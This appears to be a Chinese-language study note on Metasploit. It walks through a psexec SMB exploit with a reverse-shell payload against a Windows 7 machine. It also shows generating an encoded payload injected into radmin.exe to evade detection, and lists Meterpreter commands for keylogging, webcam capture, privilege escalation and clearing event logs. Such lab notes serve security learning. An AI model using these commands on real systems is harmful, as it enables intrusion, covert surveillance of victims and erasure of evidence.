Metesploit(2)
Expoit模块
- Active exploit主动发送漏洞触发代码
- Passive exploit利用客户端软件连接服务器端下载漏洞执行代码
- Active exploit实例:使用exploit/windows/smb/psexec漏洞控制一台win7电脑,需要关闭win7的防火墙,并且需要知道win7电脑上的一个账号。
* 设置一下excploit目标的主机ip和主机上的其中一个账号密码
* 设置绑定一个payload用于对这台主机实现一段恶意代码,这里选择一个反弹的shell脚本,需要设置反弹的主机ip和端口
* 运行excploit -j
实现后台运行,使用sessions -l查看成功的进程
*
*sessions -i id
进入该shell,可以看到已经控制了这个win7系统。
Payload模块
- show payload可以查看所有的payload。
- 尝试使用端口绑定payload(
payload/windows/shell_bind_tcp
) - 生成一个payload:
generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/ share/windows-binaries/radmin.exe -f /root/1.exe
* 使用不同的编码方式-b绕过坏字符
* -t可以指定生成文件类型
* -e可以指定编码方式,可以使用多种编码方式
* -i可以指定编码次数,可以编码多次
* -k作为一个线程进行,增加隐蔽性
* -x指定一个已经存在的文件作为模块,将payload代码注入进去。本身功能不会变
* -f指定文件生成路径
Meterpreter
- Meterpreter是一种特殊的shell code(payload)。是高级、动态、可扩展的payload
- 完全基于内存的注入式payload
- 使用上文中的smb漏洞获取关闭了防火墙的win7的meterpreter的shell
exploit
进行攻击,session -i
进入可以看到了meterpreter的shell- Meterpreter下有大量的命令
*help
可以查看只能在Meterpreter下可以执行的命令
*background
可以返回msf界面,并将Meterpreter放回sessions中
* 系统命令可以直接执行在目标系统上,cd进入文件 ls列出文件 cat查看文件 pwd查看当前路径 dir列出文件 mkdir新建目录 mv移动 rm删除文件 rmdir删除目录 edit编辑
*lpwd
在主机上执行pwd(local pwd)。加上l就是在当前主机上执行。
* 输入run/bgrun(后台执行)
按两下tab键会出现两百多个模块可以使用。
*run vnc
远程查看对方桌面(是普通的payload完全不具有的功能)
-
* clearev 清除日志文件(windows上有使用操作的日志攻击后需要清除日志) * download 1.exe/upload /usr/1.exe c:\\windows\\system32 上传下载 * screenshot 屏幕截图 * keyscan_start/keyscan_stop 键盘记录开启/关闭 * keyscan_dump 用于查看键盘记录期间抓取到的内容 * getsystem 获得系统管理员权限 * sysinfo 计算机操作系统和名称等的详细信息 * webcam_snap 通过摄像头拍照 * webcam_stream 通过摄像头开启视频
execute -f cmd.exe -i –H
执行cmdgetuid
查看当前系统的权限getsystem
获取管理员权限getprivs
查看当前用户的可执行权限getpid
查看当前进程号migrate pid
可以将meterpreter迁移到其他进程。ps查看所有进程选择一个进程进行迁移idletime
查看当前系统空闲时间
- python扩展
*load python
加载python模块,使python代码不需要环境可以直接运行python代码。
* 使用python获取当前用户
*python_import
执行一个编写好的python文件